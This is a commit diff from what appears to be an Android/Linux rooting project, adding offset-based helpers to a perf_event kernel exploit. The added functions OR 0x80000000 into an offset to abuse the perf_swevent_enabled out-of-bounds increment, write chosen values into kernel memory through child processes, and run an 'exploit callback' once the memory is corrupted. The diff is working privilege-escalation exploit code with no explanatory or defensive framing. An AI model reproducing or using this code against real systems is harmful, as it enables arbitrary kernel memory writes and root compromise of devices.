Skip to content

Commit cd43f79

Browse files
author
Hiroyuki Ikezoe
committed
Add some functions which can be used with offset value
1 parent fe2f4f5 commit cd43f79

File tree

2 files changed

+74
-9
lines changed

2 files changed

+74
-9
lines changed

perf_event.c

Lines changed: 71 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -200,19 +200,11 @@ prepare_pipes(int *read_fd)
200200
}
201201

202202
static pid_t
203-
increment_address_value_in_child_process(unsigned long int address, int count, int *child_fd)
203+
increment_value_at_offset_in_child_process(int offset, int count, int *child_fd)
204204
{
205-
unsigned long int perf_swevent_enabled;
206-
int offset;
207205
int i = 0;
208206
pid_t pid;
209207

210-
perf_swevent_enabled = get_perf_swevent_enabled_address();
211-
if (!perf_swevent_enabled) {
212-
return -1;
213-
}
214-
215-
offset = (int)(address - perf_swevent_enabled) / 4;
216208
offset |= 0x80000000;
217209

218210
pid = prepare_pipes(child_fd);
@@ -225,6 +217,24 @@ increment_address_value_in_child_process(unsigned long int address, int count, i
225217
return pid;
226218
}
227219

220+
static pid_t
221+
increment_address_value_in_child_process(unsigned long int address, int count, int *child_fd)
222+
{
223+
unsigned long int perf_swevent_enabled;
224+
int offset;
225+
int i = 0;
226+
pid_t pid;
227+
228+
perf_swevent_enabled = get_perf_swevent_enabled_address();
229+
if (!perf_swevent_enabled) {
230+
return -1;
231+
}
232+
233+
offset = (int)(address - perf_swevent_enabled) / 4;
234+
235+
return increment_value_at_offset_in_child_process(offset, count, child_fd);
236+
}
237+
228238
#define MIN(x,y) (((x)<(y))?(x):(y))
229239
#define BUFFER_SIZE 5
230240
int
@@ -256,6 +266,33 @@ perf_event_write_value_at_address(unsigned long int address, int value)
256266
return current_process_number;
257267
}
258268

269+
int
270+
perf_event_write_value_at_offset(int offset, int value)
271+
{
272+
int number_of_children;
273+
274+
current_process_number = 0;
275+
number_of_children = value / PERF_SWEVENT_MAX_FILE + 1;
276+
child_process = (pid_t*)malloc(number_of_children * sizeof(pid_t));
277+
278+
while (value > 0) {
279+
char buffer[BUFFER_SIZE];
280+
int child_fd;
281+
int min = MIN(value, PERF_SWEVENT_MAX_FILE);
282+
pid_t pid = increment_value_at_offset_in_child_process(offset, min, &child_fd);
283+
if (pid <= 0) {
284+
return (int)pid;
285+
}
286+
read(child_fd, buffer, sizeof(buffer));
287+
close(child_fd);
288+
child_process[current_process_number] = pid;
289+
current_process_number++;
290+
value -= PERF_SWEVENT_MAX_FILE;
291+
}
292+
293+
return current_process_number;
294+
}
295+
259296
void
260297
perf_event_reap_child_process(int number)
261298
{
@@ -300,6 +337,31 @@ perf_event_run_exploit(unsigned long int address, int value,
300337
return success;
301338
}
302339

340+
bool
341+
perf_event_run_exploit_with_offset(int offset, int value,
342+
bool(*exploit_callback)(void* user_data), void *user_data)
343+
{
344+
int number_of_children;
345+
bool success;
346+
347+
number_of_children = perf_event_write_value_at_offset(offset, value);
348+
if (number_of_children < 0) {
349+
return false;
350+
}
351+
352+
if (number_of_children == 0) {
353+
while (true) {
354+
sleep(1);
355+
}
356+
}
357+
358+
success = exploit_callback(user_data);
359+
360+
perf_event_reap_child_process(number_of_children);
361+
362+
return success;
363+
}
364+
303365
/*
304366
vi:ts=2:nowrap:ai:expandtab:sw=2
305367
*/

perf_event.h

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,9 +21,12 @@
2121
#include <stdbool.h>
2222

2323
int perf_event_write_value_at_address(unsigned long int address, int value);
24+
int perf_event_write_value_at_offset(int offset, int value);
2425
void perf_event_reap_child_process(int number_of_children);
2526
bool perf_event_run_exploit(unsigned long int address, int value,
2627
bool(*exploit_callback)(void* user_data), void *user_data);
28+
bool perf_event_run_exploit_with_offset(int offset, int value,
29+
bool(*exploit_callback)(void* user_data), void *user_data);
2730

2831
#endif /* PERF_EVENT_H */
2932
/*

0 commit comments

Comments
 (0)